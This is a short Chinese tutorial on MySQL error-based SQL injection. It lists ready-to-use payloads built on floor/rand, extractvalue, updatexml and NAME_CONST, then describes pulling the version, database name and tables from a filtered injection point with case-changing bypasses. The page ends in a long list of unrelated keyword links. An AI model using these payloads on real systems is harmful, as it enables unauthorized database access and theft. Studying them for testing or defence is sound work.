SQL注入之mysql显错注入
发表于:2025-01-21 作者:千家信息网编辑
千家信息网最后更新 2025年01月21日,在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情
千家信息网最后更新 2025年01月21日SQL注入之mysql显错注入
在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。
图1 获取数据库失败
此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。
通过floor报错:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2)))
通过ExtractValue报错:
and extractvalue(1, concat(0x7f, (select version()),0x7f))
通过UpdateXml报错:
and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))
通过NAME_CONST报错:
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
通过错误的双重查询:
or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1
在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。
图2 显错注入点
此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。
图3 获取数据库版本信息
获取数据库名,如图4所示。
图4 获取数据名
获取表名,如图5所示。
图5 获取表名
后续操作请参考文章《mysql手工注入》,这里不再进行累赘!
数据
数据库
如图
手工
版本
查询
信息
函数
脚本
成功
累赘
全程
关键
关键字
大小
实战
实际
情况
文章
结果
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
我的世界能离线登录的服务器
门诊数据库
ado c 连接数据库
网上考试软件开发
杭州营销服务管理软件开发
程序员最喜欢用什么软件开发程序
收费站网络安全自查
网络技术关键词
智能保护软件开发
dayz私人服务器怎么玩新地图
网络安全心形字体
产业互联网的科技
vb实验指导软件开发
软件开发属于哪个技术
软件开发创业合伙
网络技术 双刃剑
元数据 数据库设计
绝地求生国际服在哪里选服务器
彩虹六号北美服务器人多吗
上海做物流软件开发的公司
服务器 流量查询
java软件开发国企定岗
西安警示教育基地软件开发
河南app软件开发大概多少钱
写程序如何调用数据库
东莞三茗网络技术有限公司
网络安全服务是几级
网络安全防范意识论文
下载时显示失败服务器出现问题
数据库生成序列